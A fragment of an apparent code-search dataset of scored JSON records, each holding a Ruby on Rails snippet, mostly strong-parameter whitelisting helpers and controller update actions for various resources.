params[param] = redacted_string if blacklist.include?(param.to_s)\n end\n end", "title": "" }, { "docid": "157e773497f78353899720ad034a906a", "score": "0.5962804", "text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end", "title": "" }, { "docid": "5fc4ba2ae074a90a66c53c25e751f3f0", "score": "0.5960231", "text": "def black_list_params\n params.require(:black_list).permit(:user)\n end", "title": "" }, { "docid": "63f5e4e9733f9e6b3f98d5e069440292", "score": "0.595559", "text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end", "title": "" }, { "docid": "8e519fbf8b7f524a91ac5c7f842a6121", "score": "0.59538776", "text": "def validate_params_present!; end", "title": "" }, { "docid": "037a774fcd9c86ff09a88570fba7bebd", "score": "0.59527713", "text": "def filter_for ownable\n # get the class name of the ownable\n class_name = ownable.class_name_to_sym.to_s\n \n # make sure params format is as follows:\n # { ownable_class_name: {param1: :value, param2: :value} }\n params.required(class_name)\n\n # return {} if !params || params.empty?\n\n # get a list of attributes that are allowed for this item\n # could be true, false, or an array of allowed attributes\n allowed_attributes = attributes_for(ownable)\n\n # decide how to handle the received attributes\n if allowed_attributes == true\n \n # allow all\n params.permit!\n\n elsif allowed_attributes == false\n \n # allow none\n params.permit *[]\n\n else\n \n # filter out everything except allowed_attributes\n params.permit *allowed_attributes\n \n raise params.to_yaml\n end\n\n end", "title": "" }, { "docid": "d4e0fd0cd70ef3707f081791087f33b6", "score": "0.5949399", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n opts = @opts\n allow += %i(azure_retry_limit azure_retry_backoff azure_retry_backoff_factor\n endpoint api_version required_parameters allowed_parameters display_name method)\n Validators.validate_parameters(resource_name: @__resource_name__,\n allow: allow, required: required,\n require_any_of: require_any_of, opts: opts)\n true\n end", "title": "" }, { "docid": "d7f0d4c3dc66c34a6e17c0a14432c0e9", "score": "0.5946416", "text": "def verification_list_params\n params.require(:verification_list).permit!\n end", "title": "" }, { "docid": "5ed866fb3c6ebdffbc794d04bb9f2531", "score": "0.5945795", "text": "def list_params\n params.fetch(:list, {}).permit(\n :name\n )\n end", "title": "" }, { "docid": "ba0704d4182a1a6fb0a743f6eb9cd25e", "score": "0.59403497", "text": "def check_params\n\t\t\t return []\t\t\t \n\tend", "title": "" }, { "docid": "229afde2ab7c3109de2027d47fba2c70", "score": "0.5937114", "text": "def white_list_params(params, allowed_values, ignored_values = [])\n result = {}\n params.each_pair do |key, value|\n if allowed_values.include? key\n result[key] = value\n elsif !ignored_values.include?(key)\n raise SwaggerInvalidException.new(\"Unknown property [#{key}] with value [#{value}]#{list_or_none(allowed_values, 'properties')}\")\n end\n end\n result\n end", "title": "" }, { "docid": "a99f218b156087cc665291b5dfc21e1f", "score": "0.59363353", "text": "def validate_parameters(allow: [], required: nil, require_any_of: nil)\n if required\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{required}\" unless required.is_a?(Array) && required.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: region must be provided via environment variable or hash parameter\" if required.include?(:region) && (!@opts.is_a?(Hash) || (@opts[:region].nil? || @opts[:region] == \"\"))\n raise ArgumentError, \"#{@__resource_name__}: `#{required}` must be provided\" unless @opts.is_a?(Hash) && required.all? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += required\n end\n\n if require_any_of\n raise ArgumentError, \"Expected required parameters as Array of Symbols, got #{require_any_of}\" unless require_any_of.is_a?(Array) && require_any_of.all? { |r| r.is_a?(Symbol) }\n raise ArgumentError, \"#{@__resource_name__}: One of `#{require_any_of}` must be provided.\" unless @opts.is_a?(Hash) && require_any_of.any? { |req| @opts.key?(req) && !@opts[req].nil? && @opts[req] != \"\" }\n\n allow += require_any_of\n end\n\n allow += %i{region} unless allow.include?(:region)\n allow += %i{endpoint} unless allow.include?(:endpoint)\n @opts.delete(:region) if @opts.is_a?(Hash) && @opts[:region].nil?\n\n raise ArgumentError, \"Scalar arguments not supported\" unless defined?(@opts.keys)\n raise ArgumentError, \"Unexpected arguments found\" unless @opts.keys.all? { |a| allow.include?(a) }\n raise ArgumentError, \"Provided parameter should not be empty\" unless @opts.values.all? do |a|\n return true if a.instance_of?(Integer) || a.instance_of?(TrueClass) || a.instance_of?(FalseClass)\n\n !a.empty?\n end\n\n true\n end", "title": "" }, { "docid": "527035c39c066958cc202c06528f2673", "score": "0.59362227", "text": "def patient_list_params\n params.require(:patient_list).permit!\n end", "title": "" }, { "docid": "ab49b0baeea5bf6f204adca9e864094e", "score": "0.59332967", "text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "title": "" }, { "docid": "5b53a222b1dec771125370679892e873", "score": "0.5929766", "text": "def sanitize(raw_parameters = {})\n kept_params = {}\n sanitize_nesting(kept_params, @whitelist, symbolize_recursive(raw_parameters))\n kept_params\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "d8b02fce801fc219417d86d0ca117836", "score": "0.59260756", "text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.5921627", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "a1a9495fb0e2abd93f64e7d722073f1f", "score": "0.59203607", "text": "def interest_list_params\n params.require(:interest_list).permit(:name, :public, :user_id)\n end", "title": "" }, { "docid": "b3e49440054c3ad3ddb77e29e74a8e4b", "score": "0.59200895", "text": "def sanitized_allowed_attributes=(attributes)\n sanitizer_vendor.safe_list_sanitizer.allowed_attributes = attributes\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "7d35b10ac04b461c800fcfea1623a8bb", "score": "0.591923", "text": "def sanitize_by_param(allowed=[], default='id')\n sanitize_params params && params[:by], allowed, default\n end", "title": "" }, { "docid": "9bd89e2fd22e220afe97917f75377374", "score": "0.59133667", "text": "def whitelist\n gather_params(self.jsonschema) if self.jsonschema.present? && self.jsonschema.key?('properties')\n end", "title": "" }, { "docid": "1685d76d665d2c26af736aa987ac8b51", "score": "0.5912647", "text": "def permitted_params\n params.permit!\n end", "title": "" }, { "docid": "7f38dfb5bc4d7e89f8aa414e3097f268", "score": "0.5905095", "text": "def allow_access_list(opts)\n opts = check_params(opts,[:self_ips])\n super(opts)\n end", "title": "" }, { "docid": "bf71f22b6a3d024d9581258c3391dd13", "score": "0.59014034", "text": "def filter_params(params); end", "title": "" }, { "docid": "925ab7429771692d76184dc744dc843c", "score": "0.58916956", "text": "def user_list_params\n params.require(:user_list).permit(:user_id, :user_name)\n end", "title": "" }, { "docid": "1c1ee6cc45fd852cab3c1e192bec902b", "score": "0.5888005", "text": "def parametro_params\r\n params.require(:parametro).tap do |whitelisted|\r\n whitelisted[:clave] = params[:parametro][:clave]\r\n whitelisted[:valor] = params[:parametro][:valor]\r\n whitelisted[:bloqueado] = params[:parametro][:bloqueado]\r\n\r\n for i in 0..params[:parametro].count do\r\n whitelisted[\"valor#{i}\".to_sym] = params[:parametro][\"valor#{i}\".to_sym]\r\n end\r\n end\r\n # params.require(:parametro).permit(:clave, :valor)\r\n end", "title": "" }, { "docid": "b248e725f40ba361d6e0529f389090df", "score": "0.5884956", "text": "def filter_by_param(params={})\n if (sub_keys = params[\"allowed_keys\"])\n sub_keys.split(',').select do |key|\n self.allowed_keys.any? {|allowed_key| key.start_with?(allowed_key)}\n end\n else\n self.allowed_keys\n end\n end", "title": "" } ]
b6ca2fad5bf682a744315e757dec555e
PATCH/PUT /incarnations/1 PATCH/PUT /incarnations/1.json
[ { "docid": "68aab2ac5d048637cbd4b2c1b4e0a4c5", "score": "0.7008845", "text": "def update\n respond_to do |format|\n if @incarnation.update(incarnation_params)\n format.html { redirect_to @incarnation, notice: 'Incarnation was successfully updated.' }\n format.json { render :show, status: :ok, location: @incarnation }\n else\n format.html { render :edit }\n format.json { render json: @incarnation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "7e0f6128d77bf57d3aea81302302f6d0", "score": "0.66810566", "text": "def update\n if @inciting_incident.update(inciting_incident_params)\n render json: @inciting_incident\n else\n render json: @inciting_incident.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b51488247eb5efa2822d481a54c0b909", "score": "0.6536873", "text": "def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e5447e829d6abe5c2bd06a39b1a9f5d", "score": "0.652307", "text": "def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0ce776f5ee4081bfb8df6ba89b1dabc", "score": "0.64361274", "text": "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a54a5b4d0a8ba68ecc468dbb77c14ed1", "score": "0.64029086", "text": "def update\n @interest = Interest.find(params[:id])\n \n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.json { head :ok }\n else\n format.json { render :json => @interest.errors,\n :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50bbf03c4a53a16937285a72f49f9185", "score": "0.63571084", "text": "def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5b03bae749903fdff3cadad011c6ae96", "score": "0.6340991", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2dcf873fd0b085c5936dc1f019c3434", "score": "0.63117075", "text": "def set_incarnation\n @incarnation = Incarnation.find(params[:id])\n end", "title": "" }, { "docid": "20f1732bf823631e2eaefa78421cd015", "score": "0.6311537", "text": "def update\n respond_to do |format|\n if @inproceedings.update(inproceedings_params)\n format.html { redirect_to @inproceedings, notice: 'Inproceedings was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inproceedings.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "533dee257ae0d4532349b0b5b74570ae", "score": "0.62665683", "text": "def update\n respond_to do |format|\n if @incrustation.update(incrustation_params)\n record_activity(@incrustation)\n format.html { redirect_to admin_incrustations_path, notice: 'Вставка была успешно обновлена.' }\n format.json { render :show, status: :ok, location: @incrustation }\n else\n format.html { render :edit }\n format.json { render json: @incrustation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f4916c864484bfe36b95969a46125586", "score": "0.6213689", "text": "def update\n standard_update(Interest, params[:id], interest_params)\n end", "title": "" }, { "docid": "e82a8014c1ca92ff28f930ae98971905", "score": "0.61734194", "text": "def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end", "title": "" }, { "docid": "acc4c15574909b8bb506a18b6a369b14", "score": "0.61670977", "text": "def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end", "title": "" }, { "docid": "22d0a3791498839b9e7b1ccf1e0f9ace", "score": "0.6162936", "text": "def update\n @intention = Intention.find(params[:id])\n\n respond_to do |format|\n if @intention.update_attributes(params[:intention])\n format.html { redirect_to @intention, notice: 'Intention was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @intention.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fb8cafdc52284dd0458ade878f81df1", "score": "0.61347646", "text": "def update\n @invoice = Invoice.find(params[:id])\n @invoice.year = Date.today.year\n\n @invoice.client_id = params[:clients]\n @invoice.discount_id = params[:discount_id]\n @invoice.tax_id = params[:tax_id]\n\n\n respond_to do |format|\n if @invoice.update_attributes(params[:invoice])\n format.html { redirect_to @invoice, notice: 'Invoice was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @invoice.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f57c05805e28cb27a35e627b9c85896", "score": "0.613408", "text": "def update\n @interview = Interview.find(params[:id])\n\n respond_to do |format|\n if @interview.update_attributes(params[:interview])\n @interview.activify\n format.html { redirect_to '/teacher_applications', notice: 'Interview details have been updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interview.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "032a89046fabdcd124b8e1a8d5befd6a", "score": "0.61253065", "text": "def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end", "title": "" }, { "docid": "f6f19804ea3c024a192b2d4b92c4b750", "score": "0.61227095", "text": "def update\n respond_to do |format|\n if @inspiration.update(inspiration_params)\n format.html { redirect_to @book, notice: 'Inspiration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @inspiration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "349e1db6dff2a9fbe50b6ebdb9a7c1ab", "score": "0.6100456", "text": "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "256494593f6b47f3826c4e47c65276ac", "score": "0.6087113", "text": "def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a63d510c068a0a3cbddc948ee2804428", "score": "0.607193", "text": "def update\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n if @incident.update_attributes(params[:incident])\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a63d510c068a0a3cbddc948ee2804428", "score": "0.607193", "text": "def update\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n if @incident.update_attributes(params[:incident])\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aafa8deb80f557ee814585281178315b", "score": "0.6057517", "text": "def update\n @advocacy = Advocacy.find(params[:id])\n\n respond_to do |format|\n if @advocacy.update_attributes(params[:advocacy])\n format.html { redirect_to @advocacy, notice: 'Advocacy was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @advocacy.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44be6c95083f38630080afbe9de556d8", "score": "0.60563594", "text": "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "497f7cd538a7405677f106de028dcd3a", "score": "0.605316", "text": "def set_api_v1_initiative_update\n @api_v1_initiative_update = Api::V1::InitiativeUpdate.find(params[:id])\n end", "title": "" }, { "docid": "8f136e3b7cde2fcbcac4d0e6788571ef", "score": "0.6049249", "text": "def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'FOAF was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c02f0a416642bb771f81e68b02971bdd", "score": "0.60437626", "text": "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, notice: 'Interest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "06724c84c72ab87d32b31cf33308e479", "score": "0.6037187", "text": "def update\n @inspiration = current_user.inspirations.find(params[:id])\n\n respond_to do |format|\n if @inspiration.update_attributes(params[:inspiration])\n format.html { redirect_to @inspiration.discussion, notice: 'Inspiration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inspiration.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "118c7105a4d9fc375a03c2694e5182db", "score": "0.6026331", "text": "def update\n @assessment = Assessment.find(params[:id])\n\n respond_to do |format|\n if @assessment.update_attributes(params[:assessment])\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba4da5a3d3dfa51919b4874c5bc2e610", "score": "0.60203516", "text": "def update\n authorize @trip\n\n\n @trip.estimated_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @trip.destination\n req.expense_type = 'estimated'\n end\n end\n\n respond_to do |format|\n if @trip.update(trip_params)\n format.html { redirect_to @trip, notice: 'Trip was successfully updated.' }\n format.json { render :show, status: :ok, location: @trip }\n else\n format.html { render :edit }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d6d82cbb9fa796faea0890b5dd0ece1", "score": "0.6020059", "text": "def update\n #debugger\n if @enrollment.update(update_params)\n head :no_content\n else\n render json: @enrollment.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0f7695554316cd28127c2a028c409b62", "score": "0.60167444", "text": "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b2fcc4296658ef6d623558f3cd6fc10c", "score": "0.60127753", "text": "def update\n @enroll = Enroll.find(params[:id])\n if @enroll.update_attributes(params[:enroll])\n render json: JSON.parse(@enroll.to_json)\n else\n render json: JSON.parse(@enroll.errors.to_json)\n end\n end", "title": "" }, { "docid": "7c3e764ba29330e6b171dc0b63165a74", "score": "0.6011441", "text": "def update\r\n @attestation = Attestation.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @attestation.update_attributes(params[:attestation])\r\n format.html { redirect_to @attestation, notice: 'Attestation was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @attestation.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "30cd01877eccf1d000b807b23c66c0b5", "score": "0.6008707", "text": "def update\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n if @preceed.update_attributes(params[:preceed])\n format.html { redirect_to @preceed, notice: 'Preceed was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @preceed.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "541549395c62750210ac62290a6211a7", "score": "0.6005825", "text": "def update\n respond_to do |format|\n if @additive.update(additive_params)\n format.html { redirect_to @additive, success: 'Additive was successfully updated.' }\n format.json { render :show, status: :ok, location: @additive }\n else\n format.html { render :edit }\n format.json { render json: @additive.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f6966e420cdb2e7b34c61cfd2f2adf6", "score": "0.60016483", "text": "def update\n @withdrawal_request = WithdrawalRequest.find(params[:id])\n\n respond_to do |format|\n if @withdrawal_request.update_attributes(params[:withdrawal_request])\n format.html { redirect_to @withdrawal_request, notice: 'Withdrawal request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @withdrawal_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a24d341adf9ecfa31787b741bd57e8ae", "score": "0.60003364", "text": "def update\n @annex = Annex.find(params[:id])\n\n respond_to do |format|\n if @annex.update_attributes(params[:annex])\n format.html { redirect_to @annex, notice: 'Annex was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @annex.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "947dbb3de75a49d032b73865de928bc6", "score": "0.5998027", "text": "def update\n respond_to do |format|\n if @inchef_recommendation.update(inchef_recommendation_params)\n format.html { redirect_to @inchef_recommendation, notice: 'Inchef recommendation was successfully updated.' }\n format.json { render :show, status: :ok, location: @inchef_recommendation }\n else\n format.html { render :edit }\n format.json { render json: @inchef_recommendation.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abe962b7f13ff27d6e54ed2789695c75", "score": "0.5995455", "text": "def update\n @income = current_company.incomes.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(params[:income])\n format.html { redirect_to incomes_path, notice: 'Income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e335d198d54bf7c1f533f39c094bd158", "score": "0.5987904", "text": "def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "244590c468d3ad048f3005750f76be3b", "score": "0.59876835", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to @incident, notice: 'Incident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e1af901cde904b7784b9d3acf5e89c01", "score": "0.5986269", "text": "def update\n respond_to do |format|\n if @assessment_info.update(assessment_info_params)\n format.html { redirect_to edit_concept_url(@assessment_info.concept_id), notice: 'assessment_info was successfully updated.' }\n format.json { render :show, status: :ok, location: @assessment_info }\n else\n format.html { render :edit }\n format.json { render json: @assessment_info.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "d9d0d880b24a73ce7c4bf81ced3be940", "score": "0.59765214", "text": "def update\n @income = Income.find(params[:id])\n\n respond_to do |format|\n if @income.update_attributes(income_params)\n format.html { redirect_to @income, notice: 'Income was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @income.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "85d2ed02d760acd40f7badcfec78a18a", "score": "0.59698015", "text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "title": "" }, { "docid": "4c6591bd95b6ef3ef275c9c6089aeef5", "score": "0.59605926", "text": "def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render :show, status: :ok, location: @incident }\n else\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71fba21339233959d08125015a0944c5", "score": "0.595733", "text": "def update\n respond_to do |format|\n if @incidentfollowup.update(incidentfollowup_params)\n format.html { redirect_to @incidentfollowup, notice: 'Incidentfollowup was successfully updated.' }\n format.json { render :show, status: :ok, location: @incidentfollowup }\n else\n format.html { render :edit }\n format.json { render json: @incidentfollowup.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8ef4f3511dac896d8a5bd8697e0d286d", "score": "0.5957151", "text": "def update\n @tenancy_agreement = TenancyAgreement.find(params[:id])\n\n respond_to do |format|\n if @tenancy_agreement.update_attributes(params[:tenancy_agreement])\n format.html { redirect_to tenancy_agreements_path, notice: 'Tenancy agreement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenancy_agreement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "66f02426312294f5c483d7c076133548", "score": "0.59483886", "text": "def update\n request = Request.find_by_id(params[:id])\n if request\n request.status = 1\n if request.save\n render json: {\n status: 'success',\n message: 'Request marked as fulfilled',\n },\n status: :ok\n else\n render json: {\n status: 'error',\n message: 'Request failed',\n data: request.errors,\n },\n status: :unprocessable_entity\n end\n else\n render status: :unauthorized\n end\n end", "title": "" }, { "docid": "95b3906fdbd7c88ce84c8d8196916dc2", "score": "0.59448713", "text": "def update\n respond_to do |format|\n if @api_v1_mentorship_interest.update(api_v1_mentorship_interest_params)\n format.html { redirect_to @api_v1_mentorship_interest, notice: 'Mentorship interest was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_mentorship_interest }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_mentorship_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "550006f0335c308b61a3652fec8c8369", "score": "0.59374577", "text": "def update\n return if auth(\"website_administrator\")\n @incident = Incident.find(params[:id])\n\n respond_to do |format|\n if @incident.update_attributes(params[:incident])\n format.html { redirect_to @incident, :notice => 'Incident was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @incident.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "07545e4b1d967bf6266c53007d652900", "score": "0.59363145", "text": "def update\n respond_to do |format|\n if @incident_proof.update(incident_proof_params)\n format.html { redirect_to @incident_proof, notice: 'Incident proof was successfully updated.' }\n format.json { render :show, status: :ok, location: @incident_proof }\n else\n format.html { render :edit }\n format.json { render json: @incident_proof.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "daa6169159f4cfe04d2d2bc99ff7c175", "score": "0.59287685", "text": "def update\n @allowance = Allowance.find(params[:id])\n\n respond_to do |format|\n if @allowance.update_attributes(params[:allowance])\n format.html { redirect_to @allowance, notice: 'Allowance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @allowance.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5fe764c80f6ebe52870a8958ac2ddf16", "score": "0.59263057", "text": "def update\n authorize @expense_report\n\n\n @expense_report.actual_expenses.each do |exp|\n exp.requests.each do |req|\n req.amount_from_total = req.percentrequested * exp.total\n req.destination = @expense_report.trip.destination\n req.expense_type = 'actual'\n end\n end\n\n\n respond_to do |format|\n if @expense_report.update(expense_report_params)\n format.html { redirect_to @expense_report, notice: 'Expense report was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense_report }\n else\n format.html { render :edit }\n format.json { render json: @expense_report.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "539204a2d8bf14c318af25a311f62594", "score": "0.59248996", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "8d6a61f3186174209e44862cb0ae05d7", "score": "0.59205467", "text": "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "title": "" }, { "docid": "577336a8c9b023a18fba3485a9ddab66", "score": "0.591685", "text": "def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { 